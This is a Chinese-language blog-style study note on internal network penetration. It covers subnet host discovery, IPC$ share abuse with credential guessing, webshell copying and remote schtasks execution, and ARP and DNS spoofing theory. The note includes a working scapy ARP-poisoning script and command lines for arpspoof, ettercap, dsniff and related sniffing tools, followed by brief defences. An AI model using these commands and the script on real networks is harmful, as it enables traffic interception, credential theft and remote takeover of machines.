内网渗透 Fay·D·Flourite

内网渗透

C段扫描/存活探测

C段指x.x.x.x中第三个x的位置,处于同一C段意味着是在同一内网环境下。在渗透时如果一台服务器不存在可以渗透的点,则可考虑渗透同一内网下的其他服务器,通过内网渗透目标服务器。

扫描目标C段的存活主机,用脚本,软件之类的都可。或是直接简单用ping命令即可:

for /L %P in (1,1,254) do @ping -w 10 -n 1 192.168.1.%P | findstr TTL=

实现方法多种多样不一一赘述。

ipc$管道

ipc$管道是Windows内用于传输共享内容的功能

主要用于内网中共享内容的传输(主要是内网,当然存在公网连接的情况,不过极少)

需要对方的137,138,139,445端口开放,由于这些端口存在诸如’永恒之蓝’之类的病毒肆虐,所以国内服务商好像基本禁止了这个端口的服务…所以常用于内网渗透。

主要利用方式为爆破对方管理员用户名密码,拿到管理权限,利用ipc$共享管道向对方传输shell拿到对方计算机权限

建立空连接:

net use \\192.168.1.11\ipc$ "" /user:""

空连接的权限有限

使用用户名密码连接:(默认管理员用户名Administrator)

net use \\192.168.1.11\ipc$ "密码" /user:"用户名"

查看对方共享文件:

net view \\192.168.1.11

当然这个指令无法查看对方的默认共享,默认共享包括 admin$(C:/windows/system32) c$(C:/) d$(D:/) . . 一系列盘符。

查看远程计算机的时间:

net time \\192.168.1.8

将文件拷贝到远程计算机:

copy 1.txt \\192.168.1.11\d$

用该命令即可将webshell传至对方pc。但我这里执行失败了,显示拒绝访问

查询发现自windows7以后,远程连接用户的权限只能是guest,无论是不是使用的administrator账户,所以该方式仅适用于windows 2000/nt 的系统(- -限制太多,还是写完,有时间装个nt虚拟机试试)

远程执行任务:

at \\192.168.1.11\ 时间 程序

在window8以后at命令被schtasks命令代替了,也写一下schtasks的用法

schtasks /Create /S 192.168.1.11 /U 用户名 /P "密码" /SC only /ST 时间 /tn 任务名 /tr c:\windows\temp\cmd.exe /ru system

参数较多,大概格式为上述命令,安利这篇博客讲的十分清楚

http://www.voidcn.com/article/p-yiwkcuyb-bnm.html

at或者schtasks执行shell后就完成了

(总感觉这个ipc管道和samba共享各种地方都很相似啊,但是没有查出来二者有啥关系)

arp攻击

arp协议

记一点概念,mac地址是物理地址,是由pc的网卡制造商决定的,全球唯一,相当于人的身份证。(当然虚拟机所用的虚拟网卡也有mac地址,不过也是虚拟的,是可变的。)。在同一子网下,通讯基本上靠的是mac地址来完成,arp协议就是用来寻找mac地址的。

整个通讯过程为192.168.189.128要向192.168.189.129发起通讯,他会先查询自己的mac表(可通过arp -a查看),如果没有对方的mac地址,他会向网关发送广播性查询包,网关再把广播性查询包发送给该子网下的每一台计算机。内容大概为who has 192.168.189.129? tell 192.168.189.128,每台计算机都收到了该arp广播性查询包,但他们并不是192.168.189.129,就不会发出回应包,这时192.168.189.129收到了该请求包,就会做出192.168.189.129 is at xx-xx-xx-xx-xx-xx的回应

而当192.168.189.128的mac地址里有这个地址的,他就会直接发送arp请求包给这个ip地址,内容和广播的请求包一样,而192.168.189.129在收到这个包后也会做出相同的回应。

因为ip是可变动的而arp地址一般是不变的,所以在arp地址表中已有的情况下依然发送arp包是有必要的,目的在于确认mac地址和ip地址是否正确,是否发生变动。

而ip和mac地址也是缺一不可的,mac地址好像是解决了内网中的ip盗用问题,而mac地址也需要靠靠arp协议将ip地址转为mac地址才能实现通讯。(其实个人感觉应该和计算机发展有关系吧,一开始在同一子网下,就用mac地址通讯,然后随着发展诞生了tcp/ip协议使mac地址虽然老一辈但是仍然作为底层通讯在使用,发展到了现在一环套一环。网络通讯靠ip,局域网就靠mac地址,毕竟mac地址比起ip更加唯一,在公网大范围内靠ip确定了一个局域网小范围,再在小范围内靠mac地址确定每台计算机,应该是这么一个过程。也算是对网络拓扑结构和通讯有了更深刻的认识吧)

可以看到。计算机可以收到广播性arp请求包,但只会回复寻找自己的arp包

再来看arp请求包

这张图上勾画的是以太网首部,从上到下依次是:

  • 包的类型:广播型(broadcast),单播型(unicast)和多播型(muticast)
  • 链路层地址类型(1表示ARPHRD_ETHER)
  • 链路层地址长度
  • 发送者mac地址
  • 协议( 0x08 0x06 表示arp协议)
  • 填充字节

变动的一般只有包的类型和发送者mac地址

单播型为 0x00 0x00 而广播型为 0x00 0x01 (没能抓到多播型的包- -不知道多播型是啥)

有坑!写完才发现有地方不对,这个名为linux cooked capture的包并不是常规意义上的的以太网头部,当抓包时选择网卡为any时,抓取的包会被被命名为linux cooked capture,且格式和数据也和常规的以太网头部不同(头大- -,any和选择特定网卡抓的不都是这个包么,为什么选择不同抓的包格式还会有变化…)。

下附标准以太网头部的格式:

从上到下依次是:

  • 目标主机mac地址
  • 源主机mac地址
  • 协议( 0x08 0x06 表示arp协议)
  • 填充数据

变动的为目标主机mac地址和源主机mac地址(找了半天好像确实少了说明包的类型的数据)

这张图上勾画的是arp报文,从上到下依次为:

  • 硬件类型( 0x00 0x01 表示以太网)
  • 协议类型( 0x08 0x00 表示ip协议)
  • 发送端以太网长度
  • 发送端ip地址长度
  • OP( 0x00 0x01 为请求 0x00 0x02 为应答)
  • 发送端mac地址
  • 发送端协议地址(多为ip)
  • 目的端mac地址
  • 目的端协议地址(多为ip)

另外,包里有表明arp类型的地方,但是好像和数据无关

两个数都为0则是单播型,上面为1下面为0是多播型,两个都是1则是广播型,如下则是广播型:

arp攻击原理

arp攻击的原理很简单,利用了一个机制,主机广播arp请求包后再收到响应包,并不会判断是否真的来自对方主机,就会将响应包里的mac地址加入mac表中。毕竟其他收到广播请求包也不会主动回复而是直接丢掉。且每次通讯都会发起arp请求包以确定mac表的正确。

那么我们一边不断向网关a发送arp请求包告诉a我们是主机c,一边不断向c发送arp包告诉c我们是网关a,这时c要向网关发送请求,实则是在向我们发起请求,而网关要向c发起请求,也是向我们发起请求,就达到了arp欺骗的效果。

这里的响应数据包中x.x.x.x is at xx:xx:xx:xx:xx:xx中的x.x.x.x为欲伪造的ip,而后面的mac地址为攻击机的mac地址。毕竟通讯靠的是mac地址,这点一定要分清楚。

实践

python脚本尝试

python库中有个scapy库可以完成包的封装和发送。

这里放出脚本:

from scapy.all import *
import os
import threading

# 基本信息,自行修改
interface='WLAN' # 默认网卡

gatway='192.168.1.1' # 默认网关

local_ip='192.168.1.5' # 本地ip

local_mac=get_if_hwaddr(interface)

# 这是用ping命令完成的主机扫描,还是更推荐底下那个
def scan_ip(): 
    ip_exist=[]
    for i in range(1,255):
        i=str(i)
        # 修改为主机网段
        a=os.popen('ping -w 10 -n 1 192.168.1.'+i)

        if 'TTL=' in a.read():
            ip_exist.append('192.168.1.'+i)
    print('[+]scanning success ,here is the ip >>')
    print(ip_exist)


# 欲扫描c段
ipscan='192.168.1.1/24'


# 这是从网上嫖来的mac扫描的方法,是通过广播arp请求得到子网内的响应主机的ip和mac地址
# 效率也比用ping命令高得多。
# 需根据情况修改上面的欲扫描c段
def mac_scan(ipscan):
    try:              
        ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=ipscan),timeout=2,verbose=False)
    except Exception as e:
        print(str(e))
    else:
        for snd,rcv in ans:
            list_mac=rcv.sprintf("%Ether.src% - %ARP.psrc%")
            print(list_mac)


#向受害者不断发送arp回复包告诉他们攻击方为网关
def targetarp_attack(target_ip,local_mac,gatway):
    target_mac=getmacbyip(target_ip)
#                  受害者mac       攻击方mac                攻击方mac        网关ip       受害者mac       受害者ip
    pack=Ether(dst=target_mac,src=local_mac)/ARP(op=2,hwsrc=local_mac,psrc=gatway,hwdst=target_mac,pdst=target_ip)
    while True:
        sendp(pack,inter=2,count=1,iface=interface)


#向网关不断发送arp回复包告诉他们攻击方为受害方
def gatwayarp_attack(target_ip,local_mac,gatway):
    gatway_mac=getmacbyip(gatway)
#                  网关mac        攻击方mac                 攻击方mac      受害者ip     网关mac          网关ip 
    pack=Ether(dst=gatway_mac,src=local_mac)/ARP(op=2,hwsrc=local_mac,psrc=target_ip,hwdst=gatway_mac,pdst=gatway)
    while True:
        sendp(pack,inter=2,count=1,iface=interface)


if __name__ == '__main__':
    choose=input('[+]Do you need to scan ip?(y/n)>>:')
    if choose == 'y':
        mac_scan(ipscan)


    target_ip=input('[+]choose the target that you want to attack>>:')

    print('[+]Read to start attack')

    threading.Thread(target=targetarp_attack,args=(target_ip,local_mac,gatway)).start()

    threading.Thread(target=gatwayarp_attack,args=(target_ip,local_mac,gatway)).start()    

    print('[+]successfully start,close the script to end the attack')
                                                                     

大概注释脚本中都有就不过多解释了,要说难也确实算不上- -。但是!坑是真的多!建议要学的师傅们也自己写一下!

另外,这个脚本并没有接收包的代码(0-0对scapy库还不太熟,没整出来…),还需接收两方传来的数据包才能配合其他抓取流量中数据的工具使用完成攻击。(且想要受害方不断网还需要流量转发)现在能做的只是阻断受害方与网关的通讯。

这是跑脚本前后的对比(受害方视角),可以看到确实完成了arp欺骗的目标(网关mac地址变成了192.168.1.5的mac地址)(受害方断网的同时攻击机也断网了-。-,有点没想通为什么)

另外…家里有个网络摄像头来着,本来想试试拿他开刀,但网关内甚至找不到它的mac地址,也确认了它确实连着wifi来着,且能正常使用。不知道是怎么隐藏了自己的mac地址的…有点蒙

后:地址是找到了,但是是根据设备名找的,找到的mac地址和摄像头上标注的mac地址完全不同,(不知道他咋把mac地址给换掉的,按理说mac地址都不对就不能通讯才对),另外,进行了arp欺骗抓包的尝试,结果也没有该有的包,只有dns协议和icmp协议。我查了下,这个摄像头用的协议应该是rtsp协议才对,而这里也完全没有数据包(本来想试试摄像头能不能用的,我妈怕我捣乱不给…)所以暂且止步(超级不甘心啊)

工具

kali有不少有关这方面的工具可以使用

  1. arpspoof

arpspoof -i 网卡 -t 受害者ip 网关ip

以上指令就能完成arp欺骗,但是linux默认没有开启流量转发,会导致受攻击方无法上网。修改/proc/sys/net/ipv4/ip_forward中内容为1,即可开启流量转发,受攻击方就能收到我们转发的网关的流量了。

记一个小常识

因为proc这个目录是一个虚拟文件系统,它放置的数据都是在内存中,本身不占有磁盘空间,所以使用vim编辑后会出现E667 同步失败,正确的修改方法是使用echo

出处:https://blog.csdn.net/xyw_blog/article/details/16986705

  1. driftnet

driftnet用于在网络数据包中捕获图片(也包括自己)

driftnet -i 网卡

就可打开一个窗口显示数据包中的图片。此外,还有以下参数可以使用

-b 捕获到新的图片时发出嘟嘟声

-i interface 选择监听接口

-f file 读取一个指定pcap数据包中的图片

-p 不让所监听的接口使用混杂模式

-a 后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)

-m number 指定保存图片数的数目

-d directory 指定保存图片的路径

-x prefix 指定保存图片的前缀名

需要配合arpspoof使用

  1. urlsnarf

urlsnarf用于抓取url和user-agent。

没有过多的操作,直接urlsnarf -i eth0就能监听了。不过感觉抓的太杂了,有点拉跨。

  1. ettercap

能做到的功能非常多,有图形操作界面和终端操作两种

  • 图形操作

终端输入ettercap -g即可进入图形操作界面

其余的操作安利跟着引导一步步做就行。

扫描–>选中主机–>选择攻击方式–>开始攻击

安利下面这篇文章,讲的非常清楚:

https://zhuanlan.zhihu.com/p/26008097

(注:ettercap包含了arpspoof的功能来着,直接使用即可不用先开启arpspoof)

尝试了一下用ettercap抓网内数据包中的账号密码。

  • 终端操作

格式为ettercap [参数] [目标1] [目标2]

比如ettercap -Tq -i eth0 -M arp:remote /192.168.189.128// /192.168.1.1//

实际上ettercap -Tq -i eth0就默认扫描了网内主机并实行了监听。参数比较多,这里-Tq表示在终端以安静模式进行,-i选择网卡。(还是用图形界面操作吧- -)

  1. dsniff

绝了,原来arpspoof和urlsnarf等等都是这个的工具集之一…写都写了难得改了。

格式如下:

dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]

它包含的工具集有:

  • dsniff: 一个密码侦测工具,他能够自动分析端口上收到的某些协议的数据包,并获取相应的密码。dnisff支持的协议有FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;

  • filesnart: 嗅探网络文件系统(NFS)的流量,并选定某个文件,转储到本地当前工作目录;

  • mailsnarf: 可以嗅探SMTP和POP流量,并以Berkeley邮件格式输出e-mail消息;

  • msgsnarf:可以嗅探聊天软件的聊天内容,包括AOL,ICQ 2000, IRC, MSN Messenger, 或Yahoo Messenger;

  • urlsnarf: 可以嗅探HTTP请求报文的内容,并以CLF (Common Log Format)通用日志格式输出;

  • webspy: 指定一个要嗅探的主机,如果指定主机发送HTTP请求,打开网页,webspy也会通过netscape浏览器在本地打开一个相同的网页;

  • sshmitm: 是Dsniff自带的一个具有威胁的工具之一。首先通过dnsspoof伪造实际机器主机名将攻击目标主机的SSH连接转到本地,那么sshmitm可以截获来自主机的密钥,并获得被劫持连接中的所有信息解码,然后重新转发SSH流量到SSH服务器;

  • webmitm:与sshmitm类似,也需要dnsspoof的”配合”,不同的是,webmitm”劫持”的是HTTP和HTTPS会话过程,捕获SSL的加密通信;

arpspoof:启用arp欺骗,将自己网卡的IP地址伪装成指定IP地址的MAC;

  • dnsspoof: 启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。如果是 请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果是反向IP指针解析,dnsspoof也会返回一个伪造的域名;

  • macof:用来进行MAC flooding,可以用来使交换机的MAC表溢出,对于以后收到的数据包以广播方式发送。注意:在进行MAC泛洪之前就存在于交换机MAC表中的条目不会被覆盖,只能等到这些条目自然老化;

  • tcpkill: 能够切断指定的TCP会话连接,主要是基于TCP的三次握手过程;

  • tcpnice: 能够通过在添加活动的流量,降低指定的LAN上的TCP连接的速度.

用法都大同小异,参照arpspoof和urlsnsarf的用法。

  1. droidsheep

是基于Android的一款arp欺骗应用,需要root权限才能使用。

放下官方下载地址:

https://droidsheep.info/download.html

arp防御

  1. 通过绑定静态arp表,防止arp欺骗。

添加静态映射,可以有效防止arp欺骗,但同时当局域网内有什么重要的ip地址变更之类的(比如旧电脑迁出而新电脑迁入,占用了原电脑的ip地址之类的),就只有手动修改了。

终端输入如下命令,就可添加静态映射:

netsh -c "i i" add neighbors 连接的Idx号 IP MAC

Idx号可通过netsh i i show in查看

  1. Vlan划分

通过划分vlan隔绝广播,保障安全。这个我还觉得挺有意思的(虽然有点没看懂)

我的理解是在子网内又进行了一次划分隔成了不同的区…?

这两个地方都讲的比较清楚,能帮助理解理解

https://www.zhihu.com/question/51675361

https://blog.csdn.net/mansky0618/article/details/80292511

DNS欺骗

DNS攻击原理

在主机访问域名时,都会向dns服务器查询其域名对应IP地址

域名查询分为递归查询和迭代查询,如图2所示。举例说明,如果客户端准备访问百度网站,客户端首先会检查本地缓存中是否有之前的查询记录,如果有,直接读取结果即可,如果没有相关的缓存记录,则向本地DNS服务器发送查询请求,也就是所谓的递归查询,本地DNS服务器如果有答案,就会将答案直接返回给客户端,但本地DNS服务器没有正确的答案时,它就需要向根服务器查询,但不是询问www.baidu.com对应的IP是多少,根服务器仅管理顶级域名,而且所有的顶级域名都属于根的管理范畴,所以此时本地DNS服务器向根查询结果是:根服务器会将它管理的com域对应的IP提供给本地DNS服务器,本地DNS服务器得到com域服务器的IP后,会再向com查询,然而com也没有最终的答案,com域服务器会将它所管理的baidu域服务器对应的IP提供给本地DNS服务器,最后本地DNS服务器再向baidu域服务器查询,询问该域下主机名为www的计算机对应的IP地址,由于www主机确实直接属于baidu域的管理范畴,所以baidu会将最终的正确答案返回给本地DNS服务器,最后本地DNS服务器将得到的结果返回给客户端,同时本地DNS服务器会将结果缓存起来,当下次再有相同的查询请求时,本地DNS服务器就可以直接从缓存中找到结果返回给客户端。

摘自https://blog.csdn.net/weixin_40470303/java/article/details/80642190

看起来好像复杂,其实主机干的也就是发起dns请求包和接收dns响应包。

与arp协议不同的是,dns请求包和响应包都有一个特征码,去区分每个请求的响应,所以并不能直接靠向受害方发送dns响应包的方式达成欺骗。如下:

所以dns欺骗得截获原请求包去获取特征码,再构造响应包发回受害方。

这是dns包的样子(这是个响应包):

domain中的 Transaction ID 就是特征码,其他地方有一些收发放地址之类的小区别

然后就是queries和answers这两个地方,请求包会带一个queries带着它要查询的域名发送给dns服务器,而dns服务器会连同queries带着answers一并将查询的地址返回给请求方。请求方接收到该响应包后就会将欲查询的域名解析到响应包answers中的ip地址上。

比如请求包想要查询的www.bilibili.com,该返回包中说该域名在192.168.1.5,请求方收到响应包后,如果要访问www.bilibili.com,则是去访问192.168.1.5。

但是要获取特征码就必须要截获其流量,所以dns欺骗的同时也需要arp欺骗的配合。

实践

用到工具ettercap中的dnsspoof。

我们直接使用图形操作界面(ettercap可太香了)

修改位于/etc/ettercap/etter.dns的文件,在其中添加如下内容:

意思是将所有域名解析到47.112.188.203地址上

然后像arp欺骗的操作一样操作,操作完后点plugins中的manage the plugins开启dnsspoof,再start sniffing,就完成了操作

我们去受害方随便访问几个网址:

可以看到所有地址都解析到了我们想要解析的ip上,但是浏览器访问却访问不了-。-没排查出来问题的原因

P.S. 另外,抓到个有意思的包叫mDNS,查了点资料,这个包也是在内网中为了知道各主机的ip地址而存在的,大概是广播我是谁,我在什么什么地址,而收到的主机也会响应一个mDNS包告诉对方自己是谁,自己在什么什么地方。它和dns包差不多,域名为主机名.local。好像也可以通过该包达到扫描子网内各个主机ip地址及主机名的作用。安利一篇博文:

https://blog.beanbang.cn/2019/08/07/locate-hosts-using-mdns/